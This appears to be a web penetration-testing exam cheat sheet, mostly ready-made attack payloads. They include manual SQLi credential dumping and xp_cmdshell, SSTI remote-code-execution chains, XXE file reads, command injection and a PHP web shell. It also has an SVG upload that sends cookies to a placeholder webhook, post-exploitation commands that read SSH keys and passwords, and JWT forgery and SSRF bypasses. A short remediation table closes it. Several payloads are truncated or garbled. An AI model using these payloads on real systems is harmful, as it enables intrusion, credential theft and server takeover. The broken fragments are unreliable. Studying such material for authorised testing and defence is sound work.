

SETUP AND RECON

Burp Suite Initial Setup

1. Proxy > Intercept > OFF (traffic logs to HTTP History automatically)
2. Firefox > Settings > Network > Manual proxy > 127.0.0.1 port 8080
3. Visit <http://burp> > Download CA cert > Firefox cert store > Import
4. Target > Scope > add target URL > filter HTTP History to in-scope only
5. Rename Repeater tabs e.g. Ch1-SQLi Ch2-XSS Ch3-XXE for documentation

Keyboard Shortcuts

Shortcut	Action
Ctrl+R	Send to Repeater
Ctrl+I	Send to Intruder
Ctrl+U	URL-encode selected text
Ctrl+Shift+U	URL-decode selected text
Win+Shift+S	Screenshot snip (Windows)
Ctrl+U	View page source (in browser)

Recon Checklist

1. Note the Content-Type of every request. application/xml means test XXE. application/json means test SQLi and SSTI.
2. Look for numeric IDs in URLs and request bodies. These are potential IDOR targets.
3. Check [/robots.txt](#) [/sitemap.xml](#) [/.well-known/](#)
4. View page source for JS files, hidden form fields, hardcoded API endpoints, and developer comments.
5. Capture all error messages. They often reveal DB type, framework version, file paths, and stack traces.

Common Discovery Paths

Path	Notes
/admin /dashboard /panel	Admin interfaces - try accessing without authentication
/api/v1/ /api/v2/	Try older versions if newer version appears hardened
/swagger /openapi.json /docs	API documentation - reveals all endpoints
/actuator /actuator/env	Spring Boot - leaks configuration and secrets
/graphql	Try introspection query to enumerate schema
/.git/config /phpinfo.php	Source code and info disclosure

Path	Notes
/WEB-INF/web.xml	Java application config leak

What to Test Based on What You See

Signal Observed	Test First	Severity
Content-Type: application/xml	XXE	Critical
Curly braces or dollar signs reflected	SSTI -> RCE	Critical
Single quote causes SQL error	SQLi	Critical
Input appears inside HTML or JS	XSS	High
Numeric ID in URL or request body	IDOR	High
URL or host name parameter	SSRF	Critical
File upload feature	Upload XSS/RCE	Critical
Shell or OS interaction feature	Command Injection	Critical

SQL INJECTION - UNION BASED

No sqlmap allowed. All injection is manual via Burp Repeater. Follow all four steps every time.

Step 1 - Detect Injection

Send these probes one at a time and watch for SQL errors or unexpected behaviour

```
' ' ' -- ' -- ' # ' OR '1'='1'-- ' AND 1=1-- ' AND 1=2--
```

Identify Database from Error Message

Error Fragment in Response	Database
You have an error in your SQL syntax	MySQL
Unclosed quotation mark after the character string	MSSQL
java.sql.SQLException	MSSQL / Java app
ORA-01756	Oracle
ERROR: unterminated quoted string	PostgreSQL
SQLite3::SQLException	SQLite

Step 2 - Find Column Count Using ORDER BY

' ORDER BY 1-- no error ' ORDER BY 2-- no error ' ORDER BY 3-- ERROR means 2 columns exist Rule: error on N means the query has N-1 columns Alternative using NULL: ' UNION SELECT NULL-- error ' UNION SELECT NULL,NULL-- no error means 2 columns confirmed

Step 3 - Find Which Column Accepts Strings

' UNION SELECT 'a',NULL-- if 'a' appears in response then column 1 accepts strings ' UNION SELECT NULL,'a'-- if 'a' appears in response then column 2 accepts strings

Step 4 - Extract Data

Database	Version and Current DB	List Tables	Dump Credentials
MySQL	' UNION SELECT NULL,version()-- ' UNION SELECT NULL,database()--	' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()--	' UNION SELECT username, password FROM users-- or CONCAT(username,':',password)
MSSQL	' UNION SELECT NULL,@version-- ' UNION SELECT NULL,db_name()--	' UNION SELECT NULL,table_name FROM information_schema.tables--	' UNION SELECT username, password FROM users-- or username+':'+password
Oracle	' UNION SELECT NULL,banner FROM v\$version--	' UNION SELECT NULL,table_name FROM all_tables--	' UNION SELECT NULL, username ' ' password FROM users-- NOTE: bare SELECTs need FROM dual
PostgreSQL	' UNION SELECT NULL,version()-- ' UNION SELECT NULL, current_database()--	' UNION SELECT NULL,tablename FROM pg_tables WHERE schemaname='public'--	' UNION SELECT NULL, username ' ' password FROM users--

Edge Cases

```
Double quotes: " UNION SELECT NULL,NULL-- Parentheses: ' ) UNION SELECT NULL,NULL-- MSSQL RCE (needs sysadmin): '; EXEC xp_cmdshell 'id'-- MySQL file read: '
UNION SELECT NULL,LOAD_FILE('/etc/passwd')--
```

BLIND SQL INJECTION - MANUAL

Verify oracle direction FIRST before extracting any data. Logic may be inverted.

Step 1 - Map the Boolean Oracle

Send both payloads and note which response is TRUE and which is FALSE ' OR '1'='1'-- always TRUE (tautology) ' OR '1'='2'-- always FALSE (contradiction)
WARNING - logic may be inverted: TRUE condition gives response saying Not Found FALSE condition gives response saying Found Map this BEFORE extracting any data

Step 2 - Extract Data Character by Character

MySQL - database name one character at a time: ' OR SUBSTRING(database(),1,1)='a'-- tests position 1 ' OR SUBSTRING(database(),2,1)='a'-- tests position 2
MSSQL: ' OR SUBSTRING(db_name(),1,1)='a'-- Oracle: ' OR SUBSTR(user,1,1)='a'-- PostgreSQL: ' OR SUBSTRING(current_database(),1,1)='a'--

Faster Method - Binary Search on ASCII Value

Finds each character in about 6 comparisons instead of 26

' OR ASCII(SUBSTRING(database(),1,1)) > 64-- is it above @ (any printable char?) ' OR ASCII(SUBSTRING(database(),1,1)) > 96-- is it above ` (a lowercase letter?) ' OR ASCII(SUBSTRING(database(),1,1)) > 109-- narrows to letters m through z ' OR ASCII(SUBSTRING(database(),1,1)) > 116-- narrows to t through z ' OR ASCII(SUBSTRING(database(),1,1)) = 118-- 118 equals 'v' MATCH

Step 3 - Extract Table Names and Credentials

First table name, first character (MySQL): ' OR SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'--
Second table (change LIMIT to 1,1): ' OR SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),1,1)='a'-- First username: ' OR SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a'-- First password: ' OR SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='5'--
Confirm table exists: ' OR (SELECT COUNT(*) FROM users) > 0--

Time-Based Blind - When No Response Difference Exists

Database	Payload
MySQL	' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
MSSQL	'; WAITFOR DELAY '0:0:5'--
PostgreSQL	'; SELECT pg_sleep(5)--
Oracle	' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

SERVER-SIDE TEMPLATE INJECTION (SSTI)

User input must NEVER be inside the template string. Pass input as a data variable only.

Step 1 - Identify the Template Engine

Probe Payload	Expected Output	Engine
{{7*7}}	49	Jinja2 or Twig
\${7*7}	49	Freemarker or Velocity
#{{7*7}}	49	Ruby ERB
{php}echo 7*7;{/php}	49	Smarty
<%= 7*7 %>	49	JSP or ERB
{{7*'7'}}	7777777	Jinja2 confirmed
{{7*'7'}}	49	Twig confirmed
__\${7*7}__::	49	Thymeleaf or SpEL

Jinja2 (Python) - RCE Payloads

lipsum is always available in Jinja2 - no context object needed

```
{{lipsum.__globals__['os'].popen('id').read()}} cyclcr and joiner also work: {{cyclcr.__init__.__globals__['os'].popen('id').read()}} MRO chain - list all subclasses then find subprocess.Popen index: {{'__.__class__.__mro__[1].__subclasses__()}} {{'__.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}} Sandbox bypass using attr filter when dot notation is blocked: {{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}} Sandbox bypass using string concatenation to avoid keyword filters: {{' '['__cla'+ 'ss__'] ['__mr'+ 'o__'] [1] ['__subclas'+ 'ses__'] ()}}
```

RCE Payloads for Other Engines

Engine	Payload
Smarty PHP	{php}echo `id`;{/php} {php}system('id');{/php} {php}passthru('cat /etc/passwd');{/php}
Twig PHP	{{['id'] map('system') join}}
Freemarker Java	<#assign ex="freemarker.template.utility.Execute"?new()>\${ex("id")}
Thymeleaf SpEL	__\${T(java.lang.Runtime).getRuntime().exec('id')}__:: __\${new java.util.Scanner(T(java.lang.Runtime).getRuntime()).exec(new String[]{' /bin/sh', '-c', 'id'}).getInputStream() }.useDelimiter('\A').next()}__::
Velocity Java	#set(\$rt=\$class.forName("java.lang.Runtime").getRuntime()) #set(\$ex=\$rt.exec("id"))\$ex.waitFor()

XXE AND COMMAND INJECTION

XXE - XML External Entity Injection

Trigger: look for Content-Type: application/xml in any request

```
]> &xxe;
```

Target Files Worth Reading via XXE

File Path	Contents
file:///etc/passwd	User accounts and home directories
file:///etc/shadow	Password hashes - needs root access
file:///etc/hosts	Internal host to IP mapping
file:///proc/self/enviro	Process environment variables - may contain secrets and API keys
file:///proc/self/cmdline	The command used to start the application
file:///var/www/html/config.php	PHP app config - often contains database credentials
file:///app/.env	Environment file - API keys and DB passwords
file:///home/ubuntu/.ssh/id_rsa	SSH private key
file:///windows/win.ini	Windows confirmation file
file:///c:/inetpub/wwwroot/web.config	IIS application configuration

XXE Variations

SSRF via XXE - probe internal services: Try XML on JSON endpoints: Change Content-Type from application/json to application/xml Then insert the full DOCTYPE XXE payload

Command Injection

Operator	Platform	Example	Behaviour
;	Linux	; id	Execute after the main command
	Both	id	Pipe output to id
&&	Both	&& id	Run only if first command succeeds
	Both	id	Run only if first command fails
``	Linux	`id`	Backtick subshell
\$()	Linux	\$(id)	Dollar subshell
%0a	Linux	%0aid	URL-encoded newline

Operator	Platform	Example	Behaviour
&	Windows	& whoami	Windows chain

Blind Command Injection - Confirm with Delay

```
; sleep 5 ; ping -c 5 127.0.0.1 & timeout /t 5
```

Useful Post-Injection Commands

```
id whoami hostname cat /etc/passwd find / -name '*.env' 2>/dev/null env | grep -i pass cat ~/.ssh/id_rsa
```


CROSS-SITE SCRIPTING (XSS)

Always view page source with Ctrl+U after sending input. Identify the exact HTML or JS context before choosing your payload.

Context to Payload Mapping

Page Source Shows	Context	Use This Payload
INPUT	HTML body	<script>alert(1)</script>
<input value="INPUT">	Double-quote attr	"><script>alert(1)</script>
<input value='INPUT'>	Single-quote attr	'><script>alert(1)</script>
var x = 'INPUT';	JS single-quote str	';alert(1);//
var x = "INPUT";	JS double-quote str	";alert(1);//
var arr = ['INPUT'];	JS array	'];alert(1);//
var x = `INPUT`;	JS template literal	`;alert(1);//
	URL attribute	javascript:alert(1)

Filter Bypass Techniques

Scenario	Bypass Payload
script tag blocked	 <svg onload=alert(1)> <body onload=alert(1)> <input autofocus onfocus=alert(1)> <details open ontoggle=alert(1)>
alert blocked	confirm(1) prompt(1) alert`1` eval('ale'+rt(1)) window['ale'+rt'](1)
spaces blocked	<img/src=z/onerror=alert(1)> <svg/onload=alert(1)>
case filter	<ScRiPt>alert(1)</ScRiPt>
URL encoding needed	%3Cscript%3Ealert(1)%3C/script%3E %253Cscript%253E (double encoded)
entity encoded handler	

DOM XSS - Sources and Sinks

Sources - where attacker input enters JavaScript: location.href location.search location.hash document.URL document.referrer window.name Sinks - search page source for these - they execute code: document.write() innerHTML outerHTML eval() setTimeout() location.href= window.open()

Impact Escalation Beyond alert(1)

Goal	Payload
Steal session cookie	
Steal localStorage data	

Goal	Payload
Perform CSRF via XSS - bypasses CSRF token because same origin	

SSRF AND IDOR

SSRF - Server-Side Request Forgery

Parameter names that commonly accept URLs

url= dest= redirect= feed= image= callback= host= path= load=

Internal Targets to Probe

Target	Probe URL
Localhost	http://127.0.0.1/ http://localhost/
Spring Actuator	http://127.0.0.1:8080/actuator/env
Redis	http://127.0.0.1:6379/
Elasticsearch	http://127.0.0.1:9200/_cat/indices
Docker API	http://127.0.0.1:2375/containers/json
AWS metadata	http://169.254.169.254/latest/meta-data/
AWS IAM keys	http://169.254.169.254/latest/meta-data/iam/security-credentials/

Filter Bypasses for 127.0.0.1

http://2130706433/ decimal representation http://0x7f000001/ hex representation http://0177.0.0.1/ octal representation http://127.1/ short form http://[:,:1]/ IPv6 http://127.0.0.1.nip.io/ DNS rebinding Open redirect chain: ?url=https://trusted.com/redirect?to=http://127.0.0.1/admin Protocol smuggling: gopher://127.0.0.1:6379/_FLUSHALL file:///etc/passwd

IDOR - Insecure Direct Object Reference

Where to Look	Example	How to Test
URL path	/api/users/1234	Change to /api/users/1, 2, 3...
Query string	?id=1234	Increment or decrement the value
POST body	{"userId": 1234}	Change in Burp Repeater
Cookie	user_id=1234	Edit cookie in Burp
Header	X-User-ID: 1234	Add or modify in Repeater
Filename	invoice_1234.pdf	Replace ID in download URL

IDOR Test Patterns

Horizontal - access other users at same privilege level: GET /api/users/5 try /api/users/1 /api/users/2 /api/users/6 Vertical - escalate to admin: GET /api/users/5 try /api/admin/users {"role":"user"} change to {"role":"admin"} {"isAdmin":false} change to {"isAdmin":true} Mass assignment - add unexpected fields to POST body: {"name":"John"} change to {"name":"John","role":"admin","credits":9999} Test all HTTP methods: OPTIONS /api/users/5 shows which methods

are allowed DELETE /api/users/5 attempt to delete another user PUT /api/users/5 attempt to modify another user Response manipulation in Burp: Proxy > Intercept ON > right-click > Do intercept > Response to this request Change false to true | "role":"user" to "role":"admin" | 302 to 200

AUTH BYPASS AND JWT AND CSRF

Authentication Bypass on Login Forms

```
admin'-- admin' # ' OR '1'='1'-- ' OR 1=1--
```

Auth Bypass via Headers and Paths

Technique	Payload
Localhost headers	X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Original-URL: /admin X-Rewrite-URL: /admin
Path normalization	/admin/./admin /Admin /admin/ /%2fadmin /;/admin
Force browse	/admin /dashboard /panel /api/admin/users /api/internal
Method override	X-HTTP-Method-Override: DELETE X-Method-Override: PUT _method=DELETE in POST body

JWT Attack Playbook - Decode first at jwt.io

Attack	How to Execute
alg:none	Header: {"alg":"none","typ":"JWT"} Payload: {"sub":"admin","role":"admin","iat":...} Signature: empty string but keep the trailing dot Result: eyJhbGciOiJIub25lIn0.MODIFIED_PAYLOAD.
RS256 to HS256 confusion	Get the server PUBLIC key Sign token with HS256 using the PUBLIC key as HMAC secret Server verifies using its public key and accepts the forged token
Modify payload claims	{"sub":"user1"} change to {"sub":"admin"} {"role":"user"} change to {"role":"admin"} {"userId":5} change to {"userId":1}
kid SQL injection	{'alg':'HS256','kid':'1' UNION SELECT 'attackerkey'-- '} Sign token with 'attackerkey' as the HMAC secret
jwk injection	Embed your own public key in the header: {"alg":"RS256","jwk":{"kty":"RSA","n":"...", "e":"AQAB"}} Sign with the matching private key

CSRF

Auto-submit PoC page: Suppress Referer header to bypass Referer-based protection: Referer bypass techniques: Host the attack page at target.com.evil.com if server does substring match HTTPS to HTTP transition - browser drops Referer automatically per spec XSS on same origin fully defeats any CSRF protection

FILE UPLOAD AND PATH TRAVERSAL AND OPEN REDIRECT

File Upload Attack Order

- 1. Upload a legitimate file. Note the storage URL. Confirm the browser serves it back directly.
- 2. SVG XSS - set filename to shell.svg and Content-Type to image/png. Body is SVG with script tag.
- 3. PHP extension bypass - try .php5 .phtml .phar .pHp .PHP
- 4. MIME type spoof - keep .php as filename but set Content-Type: image/jpeg
- 5. Magic bytes - prepend JPEG or PNG file signature bytes before the PHP code
- 6. htaccess override on Apache - upload .htaccess config then shell.jpg with PHP body

SVG XSS Payload - Modify Upload Request in Burp Intercept

```
Content-Disposition: form-data; name="file"; filename="shell.svg" Content-Type: image/png fetch('https://YOUR-WEBHOOK/?c=' + document.cookie);
```

Extension Bypass and Web Shell Reference

Technique	Details
PHP extensions	.php5 .phtml .phar .pHp .PHP .php.jpg .php%00.jpg .php;
ASP extensions	.asp;.jpg .asp::\$DATA .aspx. .ashx .cer
Apache .htaccess	Upload as .htaccess with Content-Type: text/plain Body: AddType application/x-httpd-php .jpg Then upload shell.jpg containing PHP code
PHP web shell	<?php system(\$_GET['cmd']); ?> Access at: /uploads/shell.php?cmd=id
Test commands	?cmd=id ?cmd=whoami ?cmd=cat+/etc/passwd ?cmd=ls+ -la

Path Traversal

Platform	Payload
Linux	../../../../etc/passwd//....//....//etc/passwd ..%2f..%2f..%2fetc%2fpasswd ..%252f..%252fetc%252fpasswd
Windows	../../../../windows/win.ini ..%5c..%5cwindows%5cwin.ini ..%255c..%255cwindows%255cwin.ini
Top targets	/etc/passwd /etc/shadow /etc/hosts /proc/self/environ ~/.ssh/id_rsa /app/.env C:\windows\win.ini

Open Redirect

```
Parameter names to test: ?redirect= ?next= ?url= ?return= ?goto= ?dest= Bypass payloads: https://evil.com //evil.com /\evil.com https://trusted.com@evil.com javascript:alert(1)
```

IMPACT AND REMEDIATION

Impact Statements by Vulnerability

Vulnerability	Sev	Business Impact
XXE	Critical	Read any file the server process can access including configs, credentials, SSH keys. Chains to SSRF for internal network access.
SSTI to RCE	Critical	Unrestricted OS command execution on the server. Full compromise including backdoors, lateral movement, and complete data exfiltration.
SQLi	Critical	Dump entire database including all credentials, PII, and financial records. Can escalate to OS command execution via xp_cmdshell on MSSQL.
SSRF	Critical	Reach internal services and cloud IAM credentials. Access admin panels and resources that are invisible from the internet.
File Upload RCE	Critical	Arbitrary OS command execution via web shell. Equivalent to direct server access with full control.
Auth Bypass	Critical	Admin access without any credentials. Complete application compromise.
Command Injection	Critical	Direct OS command execution on the server. Same impact as having a shell on the system.
Stored XSS	High	Script runs in every visitor browser. Mass session hijacking and credential phishing at scale.
Reflected XSS	High	Session token theft and account takeover against individual targeted victims via crafted link.
File Upload XSS	High	JavaScript executes in the app origin. Session theft from all users who view the uploaded content.
IDOR	High	Access, modify, or delete any user data without authorization. Full horizontal privilege escalation.
Path Traversal	High	Read files outside the web root including source code, application configs, and private SSH keys.
JWT Attacks	High	Forge authentication tokens to impersonate any user or escalate to admin without knowing credentials.
CSRF	Medium	Trick authenticated users into unintended actions such as fund transfers and account changes.
Open Redirect	Medium	Redirect users to attacker-controlled pages for phishing, credential harvesting, or OAuth token theft.

Remediation Reference

Vulnerability	Fix
SQLi	Parameterized queries and prepared statements. Never concatenate user input into SQL strings.
XSS	Output-encode per context. Content-Security-Policy header. HttpOnly and Secure cookie flags.
XXE	Disable external entity processing in the XML parser. Prefer JSON over XML.
SSTI	Pass user input as a data variable only. Never concatenate it into the template string.
File Upload	Allowlist file extensions and validate magic bytes. Store outside webroot. Re-encode images server-side.
IDOR	Server-side ownership check on every object access. Never trust client-supplied IDs.
SSRF	Allowlist permitted destinations. Block all RFC1918 and 169.254.0.0/16 ranges.
CSRF	Session-bound CSRF tokens plus SameSite=Strict cookies plus Origin header validation.
Path Traversal	Canonicalize the path and verify it starts within the allowed base directory.

Vulnerability	Fix
Command Injection	Never pass user input to a shell. Use language-native APIs instead.
JWT	Validate the algorithm explicitly on the server. Reject alg:none. Always verify the signature.
Open Redirect	Allowlist of permitted redirect destinations. Never use raw user-supplied URLs.